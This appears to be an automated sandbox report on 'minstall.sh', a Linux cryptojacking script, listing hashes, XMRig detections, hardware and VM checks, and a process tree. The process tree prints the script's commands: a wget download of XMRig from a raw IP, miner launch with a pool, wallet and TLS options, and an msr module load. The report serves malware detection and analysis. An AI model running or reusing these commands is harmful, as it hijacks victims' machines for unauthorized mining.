Analysis
-
max time kernel
149s -
max time network
142s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
30/03/2025, 19:28
Static task
static1
Behavioral task
behavioral1
Sample
minstall.sh
Resource
ubuntu1804-amd64-20240611-en
ubuntu-18.04-amd64
14 signatures
150 seconds
Behavioral task
behavioral2
Sample
minstall.sh
Resource
debian9-armhf-20240418-en
debian-9-armhf
8 signatures
150 seconds
Behavioral task
behavioral3
Sample
minstall.sh
Resource
debian9-mipsbe-20240611-en
debian-9-mips
8 signatures
150 seconds
Behavioral task
behavioral4
Sample
minstall.sh
Resource
debian9-mipsel-20240611-en
debian-9-mipsel
8 signatures
150 seconds
General
-
Target
minstall.sh
-
Size
1KB
-
MD5
815e8f0fa36c902d98a7fc43b325f872
-
SHA1
0def204bd8a94fc477a98054c0f5d374146362e7
-
SHA256
eb4d5d21d11d867ae53ef676fe24aeccf6f54e68ab0c5337ce38921940cf97d1
-
SHA512
feb03aeefa483dcc924fb0f0478e322c19f8f6d483214af0232c0a7c0197ed94781866e1a377db82ad978a0b5d94b8fc364b538b2f910cb717cd5d6e8e8d6190
Malware Config
Signatures
-
XMRig Miner payload 2 IoCs
resource yara_rule behavioral1/files/fstream-4.dat family_xmrig behavioral1/files/fstream-4.dat xmrig -
Xmrig family
-
Xmrig_linux family
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/xmrig/xmrig 1503 minstall.sh -
ioc pid Process /lib/modules/4.15.0-213-generic/kernel/arch/x86/kernel/msr.ko 1510 modprobe -
Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/bios_vendor xmrig File opened for reading /sys/devices/virtual/dmi/id/sys_vendor xmrig File opened for reading /sys/devices/virtual/dmi/id/product_name xmrig File opened for reading /sys/devices/virtual/dmi/id/board_vendor xmrig -
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/board_serial xmrig File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_version xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_serial xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag xmrig File opened for reading /sys/devices/virtual/dmi/id/bios_version xmrig File opened for reading /sys/devices/virtual/dmi/id/product_version xmrig File opened for reading /sys/devices/virtual/dmi/id/product_serial xmrig File opened for reading /sys/devices/virtual/dmi/id/product_uuid xmrig File opened for reading /sys/devices/virtual/dmi/id/board_name xmrig File opened for reading /sys/devices/virtual/dmi/id/board_version xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_type xmrig File opened for reading /sys/devices/virtual/dmi/id/bios_date xmrig -
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo xmrig -
Reads CPU attributes 1 TTPs 46 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/cpu0/cache/index9/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/base_frequency xmrig File opened for reading /sys/devices/system/cpu/possible xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/coherency_line_size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/number_of_sets xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index4/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index6/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index8/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index5/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/acpi_cppc/nominal_freq xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/core_id xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/physical_package_id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/number_of_sets xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/die_cpus xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/core_siblings xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cpu_capacity xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/id xmrig File opened for reading /sys/devices/system/cpu/online xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index7/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/number_of_sets xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/coherency_line_size xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/thread_siblings xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/cluster_cpus xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition xmrig -
Enumerates kernel/hardware configuration 1 TTPs 25 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/write_bandwidth xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/read_latency xmrig File opened for reading /sys/firmware/dmi/tables/smbios_entry_point xmrig File opened for reading /sys/devices/system/node/node0/hugepages xmrig File opened for reading /sys/fs/cgroup/cpuset/cpuset.cpus xmrig File opened for reading /sys/kernel/mm/hugepages xmrig File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages xmrig File opened for reading /sys/devices/system/node/online xmrig File opened for reading /sys/devices/system/node/node0/cpumap xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/read_bandwidth xmrig File opened for reading /sys/firmware/dmi/tables/DMI xmrig File opened for reading /sys/devices/cpu_atom/cpus xmrig File opened for reading /sys/devices/system/node/node0/access1/initiators xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators xmrig File opened for reading /sys/module/msr/initstate modprobe File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages xmrig File opened for reading /sys/bus/dax/devices xmrig File opened for reading /sys/fs/cgroup/cpuset/cpuset.mems xmrig File opened for reading /sys/devices/cpu_core/cpus xmrig File opened for reading /sys/devices/system/node/node0/meminfo xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/write_latency xmrig File opened for reading /sys/devices/virtual/dmi/id xmrig File opened for reading /sys/bus/soc/devices xmrig File opened for reading /sys/devices/system/cpu xmrig -
description ioc Process File opened for reading /proc/cmdline modprobe File opened for reading /proc/filesystems mkdir File opened for reading /proc/filesystems tar File opened for reading /proc/cmdline xmrig File opened for reading /proc/driver/nvidia/gpus xmrig File opened for reading /proc/version_signature xmrig File opened for reading /proc/self/cpuset xmrig File opened for reading /proc/meminfo xmrig File opened for reading /proc/sys/vm/nr_hugepages xmrig -
System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1501 tar -
Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/xmrig/SHA256SUMS tar File opened for modification /tmp/xmrig/xmrig tar File opened for modification /tmp/xmrig-6.22.2-linux-static-x64.tar.gz wget File opened for modification /tmp/xmrig/config.json tar
Processes
-
/tmp/minstall.sh/tmp/minstall.sh1⤵
- Executes dropped EXE
PID:1475 -
/usr/bin/cutcut -c1-52⤵PID:1478
-
-
/bin/hostnamehostname2⤵PID:1477
-
-
/usr/bin/wgetwget -q http://168.75.85.109:8081/xmrig-6.22.2-linux-static-x64.tar.gz -O xmrig-6.22.2-linux-static-x64.tar.gz2⤵
- Writes file to tmp directory
PID:1479
-
-
/bin/mkdirmkdir -p xmrig2⤵
- Reads runtime system information
PID:1500
-
-
/bin/tartar -xzf xmrig-6.22.2-linux-static-x64.tar.gz -C xmrig "--strip-components=1"2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1501 -
/usr/local/sbin/gzipgzip -d3⤵PID:1502
-
-
/usr/local/bin/gzipgzip -d3⤵PID:1502
-
-
/usr/sbin/gzipgzip -d3⤵PID:1502
-
-
/usr/bin/gzipgzip -d3⤵PID:1502
-
-
/sbin/gzipgzip -d3⤵PID:1502
-
-
/bin/gzipgzip -d3⤵PID:1502
-
-
-
/tmp/xmrig/xmrig./xmrig -o pool.hashvault.pro:443 -u 46zpG6P95j9gLyVAiGebnJSdpPSxGkoNfT4D8Cco7eXHgtbQoSpB3tx4QmKZz7sbGw3BuDDXuFaDWBEe72DbHkMjDMwYZjp -p ubunt -k --tls -tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:1503 -
/bin/shsh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1"3⤵PID:1509
-
/sbin/modprobe/sbin/modprobe msr "allow_writes=on"4⤵
- Loads a kernel module
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:1510
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3.3MB
MD58feb9a1c7da97b6e0d254d93da37371d
SHA1090510d9ac1aedbce99fe98cc7396cfcfe6a3951
SHA256b2c88b19699e3d22c4db0d589f155bb89efbd646ecf9ad182ad126763723f4b7
SHA5122dd6b60365b553dcc703ed0e804dc1744d7288e3f328798afa6ec9f32e13eefa3ee88a3fa01cfd22f0493d2a2125b803f42f268ee3ac0cf6c2f4e3496fa065db
-
Filesize
150B
MD5554d057fe1c4eab2071450cf6c434dc5
SHA19fa4d5aa72d698f72d105fce0bd44657f244c7e6
SHA256cd4a3226d74b573cbd1af1280543912259d6f0e1f5e59c39848700aa01b95de1
SHA512be34f9b3e7ad12baba834da1b57fd6c943935792be2c026c49887e02cb3bd5645d7152dab2a4d760b5a1c09d782f72c6119098efbae63ccaa295cee83da3abb8
-
Filesize
2KB
MD566f38c96a4901e7b345787c447842b3e
SHA12aa9b4d1bd2edd5d81bd9725e9318edaee67531f
SHA2562b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec
SHA51271757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f
-
Filesize
7.9MB
MD58f4fff0ded94f1141768220906abfbb8
SHA1ea7c97294f415dc8713ac8c280b3123da62f6e56
SHA256b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d
SHA5120096072a1482f8e7999867baa3dd6e96d51591e9f7645c9ff276b53984957025c83e1fe52e5c4f55639eeed2bdbd80bbd57d7dacd84468ce09c834e39dfc4bee